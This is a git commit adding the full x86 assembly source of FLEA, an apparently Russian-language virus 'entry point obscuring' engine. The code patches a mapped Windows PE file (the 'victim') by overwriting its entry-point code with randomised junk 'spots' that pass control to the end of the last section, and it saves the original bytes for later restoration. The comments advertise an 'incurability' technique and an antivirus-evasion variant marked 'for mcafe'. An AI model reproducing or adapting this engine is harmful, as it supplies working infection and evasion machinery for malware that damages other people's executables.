Folder structure change, added README

This commit is contained in:
TheDuchy
2020-10-16 22:28:58 +02:00
parent 2114d4f5e7
commit d44d9b59a7
174 changed files with 14378 additions and 0 deletions
@@ -0,0 +1,775 @@
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxxxxxxxx ;
; xxxxxxxxxxx xxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xxxx ;
; xxxxxxxxx xxxx xxxxxxxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xx xxxx ;
; xxxx xxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; xxxx xxxxxxxxxxx xxxxxxxxxxx xxxx xxxx ;
; ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; UEP ENGINE ;
; FLEA ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; :)! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; функция FLEA ;
; уеп(уёб) движок ;
; ;
; ;
;ВХОД: ;
;1 параметр (и единственный) - адрес структуры (UEPGEN) (ее описание смотри ниже) ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД: ;
;EAX - абсолютный виртуальный адрес точки входа ;
;(а также самое главное: запись пятен в кодовую секцию с последующим сохранением оригинальных байт ;
;--------------------------------------------------------------------------------------------------------;
;ЗАМЕТКИ: ;
;структура, указатель на которую передан в качестве параметра, не портится, т.е. данные в ней после ;
;вызова данного движка остаются теми же. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; UEPGEN ;
; ;
; ;
;UEPGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; tgen_addr dd ? ;адрес Генератора Мусорных Инструкций ;
; mapped_addr dd ? ;база мэппинга файла (MapViewOfFile) ;
; xsection dd ? ;IMAGE_SECTION_HEADER секции, в которую после после передать управление ;
; reserved1 dd ? ;зарезервировано ;
;MORPHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ОПИСАНИЕ СТРУКТУРЫ ;
; T2GEN ;
; (aka TRASHGEN) ;
; (более детальное описание смотри в движке xTG) ;
; ;
; ;
;TRASHGEN struct ;
; rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
; buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
; size_trash dd ? ;размер (в байтах), сколько мусора записать ;
; regs dd ? ;занятые регистры (2 шт) ;
; xmask1 dd ? ;64-битная маска для генерации ;
; xmask2 dd ? ;мусорных команд (ака фильтр) ;
; beg_addr dd ? ;начальный адрес ;
; end_addr dd ? ;конечный адрес ;
; mapped_addr dd ? ;зарезервировано (либо база мэпинга (ака адрес файла в памяти)) ;
; reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
;TRASHGEN ends ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ПОЯСНЕНИЕ К ПОЛЯМ СТРУКТУРЫ UEPGEN: ;
; ;
; ;
;[ rgen_addr ] : ;
; так как данный движок (FLEA) разработан без привязки к какому-либо другому мотору, ;
; а для генерации мусора (и некоторых других фич) важен ГСЧ, поэтому адрес ГСЧ ;
; хранится в (данном) поле структуры. ;
; ВАЖНО: если мотор FLEA будет использовать другой ГСЧ (а не тот, который ;
; идет с ним в комплекте), надо, чтобы этот другой ГСЧ принимал в качестве 1-го ;
; (и единственного!) параметра в стэке число (назовем его N), так как поиск будет в ;
; диапазоне [0..n-1]. И на выходе другой ГСЧ должен возвращать в EAX случайное число. ;
; Остальные регистры должны остаться неизменными. Все. ;
;--------------------------------------------------------------------------------------------------------;
;[ tgen_addr ] : ;
; аналогично, как и с предыдущим полем структуры. Только тогда генератор мусора ;
; должен быть приведен к виду, как xTG (в ненужных полях можно передавать нули и все ;
; тип-топ). ;
;--------------------------------------------------------------------------------------------------------;
;[ mapped_addr ] : ;
; в этом поле хранится база мэппинга файла. Как пример, значение получаемое после ;
; вызова функи MapViewOfFile. ;
;--------------------------------------------------------------------------------------------------------;
;[ xsection ] : ;
; здесь передавать либо 0, либо IMAGE_SECTION_HEADER (в жертве) той секции, в ;
; которую после отработки должен будет передать управление данный uep-движок. ;
; Если здесь 0, то управление будет передано в конец последней секции. ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ЗАМЕТКИ ;
; ;
; ;
;1) для сокрытия точки входа (то есть для генерации пятен) следует вызвать (главную) функцию FLEA. ;
;2) для восстановления ранее сохраненных байт следует вызвать FLEA_RESTBYTES (возможно потребуется ;
; нужному участку памяти задать атрибуты страниц на чтение+запись). ;
;3) так как пятна представляют собой подфункции (с прологом, эпилогом, командой ret), и переход к ;
; следующему пятну осуществляется с помощью CALL'ов, то в стэке лежат разные значения. И чтобы после ;
; стэк сбалансировать, следует вызвать FLEA_RESTSTACK. ВАЖНО: перед вызовом функции FLEA_RESTSTACK, ;
; в стэке не должно быть уже никаких других данных. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ФИЧИ ;
; ;
; ;
;(+) генерация рандомного числа пятен ;
; ;
;(+) пятна имеют рандомный размер, а также разный переход по пятнам (сверху вниз и наоборот) ;
; ;
;(+) техника неизлечимости ;
; ;
;(+) использование ГСЧ и Генератора Мусора (особенно своих, так это вообще охуительно) ;
; ;
;(+) базонезависимость ;
; ;
;(+) пятна выглядят как подфункции (с прологом, эпилогом, командой ret, а также возможно и fake winapi) ;
; ;
;(+) нет привязки к другим движкам (ГСЧ & trashgen можно юзать любой - условия читай выше;) ;
; * можно компилить как самостоятельный модуль; ;
; ;
;(+) не юзает WinAPI ;
; ;
;(+) управление можно передавать на любую секцию после отработки uep-движка (также опционально) ;
; ;
;(x) использует данные и дельта-смещение. ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; y0p! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ИСПОЛЬЗОВАНИЕ: ;
; ;
; ;
;1) Подключение: ;
; FLEA.asm ;
;2) Вызов (пример stdcall): ;
; ... ;
; szBuf db 100 dup (00h) ;
; ... ;
; lea ecx,szBuf ;
; assume ecx:ptr UEPGEN ;
; mov [ecx].rgen_addr,00401000h ;по этому адресу должен находиться ГСЧ ;
; mov [ecx].tgen_addr,00401300h ;по этому адресу должен находиться трэшген ;
; mov [ecx].mapped_addr,00330000h ;по этому адресу находится база мэппинга ;
; mov [ecx].xsection,0 ;ставим в ноль, значит уеп после передаст управление ;
; ;на конец последней секции ;
; ;остальные параметры обнулены. ;
; call FLEA ;вызываем полиморфный движок ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
;v1.0
;коменты обычно пишутся ночью, поэтому возможен бредняк в них.
;m1x
;pr0mix@mail.ru
;EOF
;========================================================================================================
;структуры
;========================================================================================================
UEPGEN struct
rgen_addr dd ?
tgen_addr dd ?
mapped_addr dd ?
xsection dd ?
reserved1 dd ?
UEPGEN ends
;--------------------------------------------------------------------------------------------------------
T2GEN struct ;
rgen_addr dd ? ;адрес Генератора Случайных Чисел (ГСЧ) ;
buf_for_trash dd ? ;адрес (буфер), куда записывать генерируемое (хех, качественное) дерьмо ;
size_trash dd ? ;размер (в байтах), сколько мусора записать ;
regs dd ? ;занятые регистры (2 шт) ;
xmask1 dd ? ;64-битная маска для генерации ;
xmask2 dd ? ;мусорных команд (ака фильтр) ;
beg_addr dd ? ;начальный адрес ;
end_addr dd ? ;конечный адрес ;
mapped_addr dd ? ;база мэпинга ;
reserv1 dd ? ;зарезервировано (хз, может когда-то там что и будет) ;
T2GEN ends ;
;========================================================================================================
MAX_SPOTS equ 10 ;максимальное кол-во генерируемых пятен
uportion1 equ 85 ;размер (в байтах) 1-ой порции мусора
uportion2 equ 50 ;размер (в байтах) 2-ой порции мусора
MIN_FIRST_PORTION equ uportion1-30 ;генерировать первую порцию мусора не меньше данного кол-ва байт
min_jmp equ uportion1+uportion2+7+10+30 ;расстояние минимальное
max_jmp equ min_jmp+200 ;расстояние максимальное
;далее идут значения для трэшгена
begin_address equ 0 ;начальный адрес (описание смотри в xTG.asm, либо ставь нули)
end_address equ 0 ;конечный адрес
mask_trash1 equ 00000000000011111111110101111001b ;маска для мусора
mask_trash2 equ 011110000b ;2-ая часть маски (разрешаем только генерацию фэйковых апишек)
FLEA: ;движок FLEA
pushad ;сохраняем регистры
cld
mov ebp,esp ;[ebp+00]
mov ebx,dword ptr [ebp+24h]
assume ebx:ptr UEPGEN ;ebx - указатель на структуру UEPGEN
mov esi,[ebx].mapped_addr
assume esi:ptr IMAGE_DOS_HEADER
add esi,[esi].e_lfanew
push esi ;[ebp-04] ;сохраняем указатель на IMAGE_NT_HEADERS
lodsd
assume esi:ptr IMAGE_FILE_HEADER
movzx ecx,[esi].NumberOfSections
movzx edx,[esi].SizeOfOptionalHeader
add esi,sizeof IMAGE_FILE_HEADER
assume esi:ptr IMAGE_OPTIONAL_HEADER
push [esi].AddressOfEntryPoint ;[ebp-08] ;сохраняем точку входа
push [esi].ImageBase ;[ebp-12] ;сохраняем базу
add esi,edx
assume esi:ptr IMAGE_SECTION_HEADER
sub esp,(sizeof T2GEN + 4 + 80) ;выделяем в стэке место для временных переменных и структуры T2GEN (aka TRASHGEN)
mov tgen_struct,esp
mov edx,esp
assume edx:ptr T2GEN
;--------------------------------------------------------------------------------------------------------
push mask_trash1 ;пофильтруем маску для генерации трэша
call gen_mask
or al,1
mov xtmask1,eax
push mask_trash2
call gen_mask
or eax,01110000b
mov xtmask2,eax
;--------------------------------------------------------------------------------------------------------
push [ebx].rgen_addr ;вначале заполним некоторые поля структуры TRASHGEN
pop [edx].rgen_addr
mov [edx].regs,0FFh
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
mov [edx].beg_addr,begin_address
mov [edx].end_addr,end_address
push [ebx].mapped_addr
pop [edx].mapped_addr
xor eax,eax
cdq
;--------------------------------------------------------------------------------------------------------
_search_new_ep_: ;далее начинаем поиск кодовой секции
cmp edx,[esi].VirtualAddress
ja _search_code_sec_
cmp eax,[esi].PointerToRawData
ja _search_code_sec_
mov edx,[esi].VirtualAddress ;а также сохраним новую точку входа (она будет указывать на конец последней секции)
mov eax,[esi].PointerToRawData
mov edi,[esi].SizeOfRawData
mov new_ep,edx
add new_ep,edi
;--------------------------------------------------------------------------------------------------------
_search_code_sec_:
push eax
mov eax,old_ep
mov edi,[esi].VirtualAddress
cmp edi,eax;old_ep
ja _nextsection_
cmp [esi].Misc.VirtualSize,0
jne _vsok_
add edi,[esi].SizeOfRawData
jmp _psok_
_vsok_:
add edi,[esi].Misc.VirtualSize
_psok_:
cmp edi,eax
jbe _nextsection_
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov start_addr,eax ;если нашли кодовую секцию, то сохраним физический адрес точки входа, т.к. отсюда и начнем клепать пятна
mov codesec,esi ;а также сохраним аказатель в табличке секций на кодовую секцию
_nextsection_:
pop eax
add esi,sizeof IMAGE_SECTION_HEADER
loop _search_new_ep_
;--------------------------------------------------------------------------------------------------------
mov esi,codesec ;после вычислим конец кодовой секции
mov eax,[esi].SizeOfRawData
cmp eax,[esi].Misc.VirtualSize
jbe _sizecsok_
cmp [esi].Misc.VirtualSize,0
je _sizecsok_
mov eax,[esi].Misc.VirtualSize
_sizecsok_:
add eax,[esi].VirtualAddress
sub eax,old_ep
mov size_codesec,eax
add eax,old_ep
mov max_codesec_addr,eax
mov edi,imNTh
assume edi:ptr IMAGE_NT_HEADERS
;--------------------------------------------------------------------------------------------------------
_maxvacs_: ;далее, найдем максимальный адрес, и получится отрезок:
;[физич. адрес точки входа ; максимальный адрес в кодовой секции]
;и в этом отрезке будем записывать пятна. Иначе в кодовой секции могут быть директории импорта, tls и т.д.
;И если мы перепишем их своими пятнами, то будет пыцдэт файлу
mov eax,[edi].OptionalHeader.DataDirectory[ecx*8].VirtualAddress
cmp old_ep,eax
ja _nextdatadir_
cmp max_codesec_addr,eax
jb _nextdatadir_
mov max_codesec_addr,eax
_nextdatadir_:
inc ecx
cmp ecx,15
jne _maxvacs_
;--------------------------------------------------------------------------------------------------------
mov eax,max_codesec_addr
sub eax,[esi].VirtualAddress
add eax,[esi].PointerToRawData
add eax,[ebx].mapped_addr
mov max_codesec_addr,eax ;получаем максимальный физический адрес в кодовой секции
;Так, теперь диапазон у нас есть
mov eax,start_addr
mov cur_codesec_addr,eax
push MAX_SPOTS
call [ebx].rgen_addr ;рэндомно получаем, сколько пятен сгенерим и запишем в кодовую секцию
inc eax
mov num_spots,eax
call _delta_uep_
_delta_uep_:
pop eax
sub eax,_delta_uep_
lea ecx,[restore_bytes+eax]
mov beg_rest_bytes,ecx ;в этот буфер будем сохранять оригинальные байты из кодовой секции (которые перепишем пятнами)
xor ecx,ecx
;--------------------------------------------------------------------------------------------------------
_nextaddrforspots_:
call get_jmpaddr ;получим адрес очередного пятна, на которое прыгнем
add eax,cur_codesec_addr
push eax
add eax,(uportion1+uportion2+7+10) ;прибавим 2 порции мусора + max размер (mov reg,<address> call reg) (7 byte) + размер пролога и эпилога для каждого пятнышка (6 byte + 3 byte) + размер команды ret (+1 byte)
cmp eax,max_codesec_addr ;и сравним с максимальный допустимым адресом
pop eax
jae _alladdrforspots_ ;если больше макс. адреса, то пятна больше не варик генерить, и выходим из цикла
push eax ;иначе сохраняем в стэке адрес
mov cur_codesec_addr,eax ;сделаем текущим адресом проверки адрес для нового пятна
inc ecx
cmp ecx,num_spots
jne _nextaddrforspots_
_alladdrforspots_:
mov num_spots,ecx ;сохраним кол-во пятен, которые точно можно записать в кодовой секции
;--------------------------------------------------------------------------------------------------------
cmp cl,1
push 0
pop eax
jb _enduep_ ;если ноль пятен, то выходим из движка
mov eax,esp
push start_addr ;будем перемешивать все полученные адреса пятен, кроме первого
je _nomixaddr_
;--------------------------------------------------------------------------------------------------------
push ecx
push eax
call mix_addr ;перемешаем адреса пятен
_nomixaddr_:
xor edx,edx
mov edi,beg_rest_bytes
stosb ;в 1-ом байте будет храниться кол-во пятен. Пока пропустим его
mov cur_rest_bytes,edi
;--------------------------------------------------------------------------------------------------------
_genspot_:
mov edi,cur_rest_bytes
_portion1_:
push uportion1
call [ebx].rgen_addr
cmp eax,MIN_FIRST_PORTION
jb _portion1_
mov spot1,eax
xchg eax,ecx
push uportion2
call [ebx].rgen_addr
mov spot2,eax
add ecx,eax
add ecx,(7+10) ;max_size (mov reg,<address> call reg) (7 byte) + prologue (6 byte) + epilogue (3 byte) + ret (1 byte)
mov eax,ecx
stosd ;сначала сохраним в спец. буфере размер очередного пятна (это 1-ая порция мусора + jmp + 2-ая порция мусора)
mov eax,dword ptr [esp]
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
stosd ;и сохраним следом абослютный виртуальный адрес, куда после будем восстанавливать ранее сохраненные байты
mov esi,dword ptr [esp]
rep movsb ;а после сохраним байты, на место которых запишем пятно
mov cur_rest_bytes,edi
pop edi
push edx
mov edx,tgen_struct
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,edi
mov [edx].size_trash,6 ;размер пролога
mov [edx].xmask1,0b
mov [edx].xmask2,100b ;в маске разрешаем генерацию только пролога (для другого генератора мусора здесь возможна генерация порции мусора)
push edx
call [ebx].tgen_addr ;запишем пролог (push ebp mov ebp,esp sub esp,0xXX)
push xtmask1
pop [edx].xmask1
push xtmask2
pop [edx].xmask2
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov eax,spot1
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;запишем первую порцию мусора
xchg eax,edi
push edi
add edi,5
mov eax,dword ptr [esp+04]
cmp eax,num_spots ;проверим, остался последний адрес для записи пятна?
jne _nextspot_ ;если да, тогда запишем финальное пятно, jmp в котором будет указывать на последнюю секцию, а не на очередное пятно
;********************************************************************************************************
comment %
;запись финального пятна
mov esi,codesec ;с помощью нехитрой формулы посчитаем операнд для jmp (0xE9)
sub edi,[ebx].mapped_addr
sub edi,[esi].PointerToRawData
add edi,[esi].VirtualAddress
mov ecx,[ebx].xsection
jecxz _notxsec_
assume ecx:ptr IMAGE_SECTION_HEADER
sub edi,[ecx].VirtualAddress
sub edi,[ecx].SizeOfRawData ;здесь строим call near (0xE8 0xXX 0xXX 0xXX 0xXX)
jmp _finalcall_
_notxsec_:
sub edi,new_ep
_finalcall_:
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;0E9h ;CALL NEAR 0xXXXXXXXX (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
;%
;comment ! ;for mcafe
mov edi,new_ep
mov ecx,[ebx].xsection
jecxz _notxsec_ ;если поле пустое, значит управление после уепа передаем в конец последней секции
assume ecx:ptr IMAGE_SECTION_HEADER
mov edi,[ecx].VirtualAddress
add edi,[ecx].SizeOfRawData
_notxsec_:
add edi,base ;а здесь строим
xchg edi,dword ptr [esp]
mov al,0B8h ;mov reg32,<address>
stosb
pop eax
stosd
mov al,0FFh ;call reg32
stosb
mov al,0D0h
stosb
;!
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2-ая порция мусора для финального пятна
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для финального пятна (mov esp,ebp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
jmp _endspot_ ;выходим из цикла
;********************************************************************************************************
;запись очередного пятна
_nextspot_:
sub edi,dword ptr [esp+08] ;следующий адрес
neg edi
xchg edi,dword ptr [esp]
mov al,0E8h ;CALL NEAR (0xE8 0xXX 0xXX 0xXX 0xXX)
stosb
pop eax
stosd
mov [edx].buf_for_trash,edi
mov eax,spot2
mov [edx].size_trash,eax
push edx
call [ebx].tgen_addr ;2 порция мусора для очередного пятнышка
;--------------------------------------------------------------------------------------------------------
mov [edx].buf_for_trash,eax
mov [edx].size_trash,3 ;размер эпилога
mov [edx].xmask1,0b
mov [edx].xmask2,1000b ;в маске разрешаем генерацию только эпилога (для другого генератора мусора здесь возможна генерация очередной порции мусора)
push edx
call [ebx].tgen_addr ;запишем эпилог для очередного пятна (mov ebp,esp pop ebp)
mov byte ptr [eax],0C3h ;и запишем ret
;--------------------------------------------------------------------------------------------------------
pop edx
inc edx
jmp _genspot_
;--------------------------------------------------------------------------------------------------------
_endspot_:
mov edi,beg_rest_bytes
mov eax,num_spots ;корректируем кол-во записанных пятен (т.к. до этого мы не посчитали 1-ого пятна, которое всегда записывается в точке входа)
inc eax
stosb
mov eax,start_addr
mov esi,codesec
sub eax,[ebx].mapped_addr
sub eax,[esi].PointerToRawData
add eax,[esi].VirtualAddress
add eax,base
;--------------------------------------------------------------------------------------------------------
_enduep_:
mov esp,ebp
mov dword ptr [ebp+1Ch],eax ;результат в EAX
popad
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец дфункции/движка FLEA
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTBYTES
;восстановление ранее сохраненных байт (на свои места)
;ВЫХОД:
; - делает свое дело :)
;EAX - кол-во сгенерированных пятен (на места которых восстановим ранее сохраненные байты)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTBYTES:
pushad
cld
call _delta_ueprest_
_delta_ueprest_:
pop eax
sub eax,_delta_ueprest_
lea esi,[restore_bytes+eax]
push esi
xor eax,eax
lodsb
xchg eax,ebx ;сохраняем в EBX кол-во записанных пятен
mov edx,ebx
_nextrestspot_:
lodsd
xchg eax,ecx ;сохраняем в ECX размер очередного пятна
lodsd
xchg eax,edi ;сохраняем в EDI адрес, где находится очередное пятно
rep movsb ;и запишем на место этого пятна оригинальные (ранее сохраненные) байты
dec ebx
jne _nextrestspot_
pop eax
sub esi,eax
xchg eax,esi
mov dword ptr [esp+1Ch],edx
popad
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции FLEA_REST
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция FLEA_RESTSTACK
;сбаланирование стэка после после пятен
;ВХОД (stdcall) (FLEA_RESTSTACK(DWORD num_spots)):
;num_spots - количество отработанных в жертве пятен
; (это значение можно получить из буфера restore_bytes)
;ВЫХОД:
;балансировка стэка, а также в ECX=0, EAX = адрес команды, которая выполняется сразу после вызова данной
;функции (FLEA_RESTSTACK);
;ЗАМЕТКИ:
; так как каждое пятно меняло регистр EBP и ESP (клало EBP в стэк, а также адрес, следующий за
; CALL'ом), то надо восстановить данные регистры, и соответственно стэк.
; ВАЖНО: вызывать эту функцию только тогда, когда в стэке вы уже не храните никакие данные.
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
FLEA_RESTSTACK:
pop eax
pop ecx
_reststack_:
add esp,4 ;pop edx
mov esp,ebp
pop ebp
loop _reststack_
jmp eax
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функи FLEA_RESTSTACK
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция gen_mask
;генерация маски для мусора
;ВХОД (stdcall) (gen_mask(DWORD xmask)):
; xmask - начальная маска
;ВЫХОД:
; EAX - новая маска
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_mask:
push ecx
mov ecx,dword ptr [esp+08]
push -1
call [ebx].rgen_addr
and ecx,eax
rol eax,10h
push eax
call [ebx].rgen_addr
and ecx,eax
xchg eax,ecx
pop ecx
ret 4
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_mask
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция get_jmpaddr
;получение операнда для jmp'a, который будет прыгать на следующее пятно
;ВЫХОД:
;ЕАХ - искомое значение
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_jmpaddr:
push max_jmp
call [ebx].rgen_addr
cmp eax,min_jmp
jb get_jmpaddr
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_jmpaddr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция mix_addr
;перемешивание случайным образом данных в массиве
;заметки: в данном движке используется для перемешивания случаным образом адресов пятен
;ВХОД ( mix_adr(DWORD *addr_mas, DWORD num_elem) ):
;addr_mas - адрес буфера(массива), где находятся значения, которые следует перемешать
;num_elem - кол-во этих самых элементов
;ВЫХОД:
;перемешанные адреса в буфере(массиве)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
mix_addr:
pushad ;
mov ecx,dword ptr [esp+28h] ;ECX - кол-во элементов
mov esi,dword ptr [esp+24h] ;ESI - адрес буфера, где находятся эти элементы
xor edx,edx
_nxtmix_:
push ecx
call [ebx].rgen_addr ;получаем СЧ [0..ECX-1]
push dword ptr [esi+edx*4] ;и перемешиваем
push dword ptr [esi+eax*4]
pop dword ptr [esi+edx*4]
pop dword ptr [esi+eax*4]
inc edx
cmp edx,ecx
jne _nxtmix_ ;если перемешали все элементы, то на выход
popad
ret 4*2
